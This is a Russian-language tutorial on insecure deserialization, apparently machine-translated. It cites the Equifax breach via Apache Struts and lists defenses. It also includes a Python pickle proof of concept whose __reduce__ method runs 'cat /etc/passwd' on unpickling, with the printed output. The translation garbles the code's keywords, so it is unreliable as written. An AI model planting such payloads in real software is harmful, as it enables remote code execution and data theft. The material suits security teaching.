Это происходит, когда ненадежные данные могут злоупотреблять логикой программ, вызывая атаку типа «отказ в обслуживании» или выполнение произвольного кода при десериализации.
Что такое сериализация:
Объект в веб-программе содержит набор переменных, которые содержат важную информацию. Чтобы использовать эту информацию, объект должен быть сериализован, то есть преобразован в открытый текст. обращение этого процесса вспять называется десериализацией. Разработчики знают, что им не следует доверять пользовательскому вводу, но в сериализованных объектах они часто забывают, что это пользовательский ввод, и используют его как есть. Но небезопасная десериализация — это просто еще один способ отправки злонамеренного ввода как ненадежного пользовательского ввода.
Пример воздействия — взлом Equifax
Парсер Jakarta Mutipart в Apache Struts 2.3 и 2.5 неправильно обрабатывает загрузку файлов, что позволяет удаленным злоумышленникам выполнять произвольные команды с помощью #cmd=string в созданном HTTP-заголовке типа содержимого.
Но также Equifax высмеивали следующие вещи:
Нет охраны предприятия. Нет надлежащей проверки отзыва. Доменное имя выглядит как вредоносное доменное имя, предназначенное для кражи сведений о людях.
Как защитить десериализацию:
Обрабатываются ли ненадежные данные как надежные внутренние данные?
Проверяйте данные перед их использованием в приложении.
Убедитесь, что объекты не были изменены.
Любые безопасные десериализации.
избегать десериализации.
Включите рандомизацию адресного пространства (ASLR), а также используйте рандомизацию кода на месте.
код питона:
импортировать ОС
импортировать рассол
# создать объект, который должен быть сериализован
class Exploit(object):
def __reduce__(self):
return (os.system, (‘cat /etc/passwd’,))
# загрузить эксплойт в строку
# это то, что называется сериализованным объектом
serialized = pickle.dumps(Exploit()) => выгружает объект в сериализованную строку
print serialized
# эта строка/сериализованный объект теперь может быть отправлена через Интернет
# десерализация и выполнение кода
pickle.loads(serialized) =›преобразует строку обратно в объект и запускает ее
# если злоумышленник может изменить сериализованную переменную, это приведет к удаленному выполнению кода
Когда мы пытаемся напечатать сокращение следующим образом:
распечатать Exploit().__reduce__()
это дает как:
padma@hp-pavilion-laptop:~/Documents/pentester_academy/python_course/cmd_injection$ python picle.py
(‹система встроенных функций›, ('cat /etc/passwd',)) =›мы можем см. встроенную функциональную систему, являющуюся частью строки.
Когда мы печатаем сериализованный, он выглядит следующим образом:
cposix =›говорит это posix
system =›системная функция
p0 =›первый параметр
(S'cat /etc/passwd'
p1
tp2
Rp3
.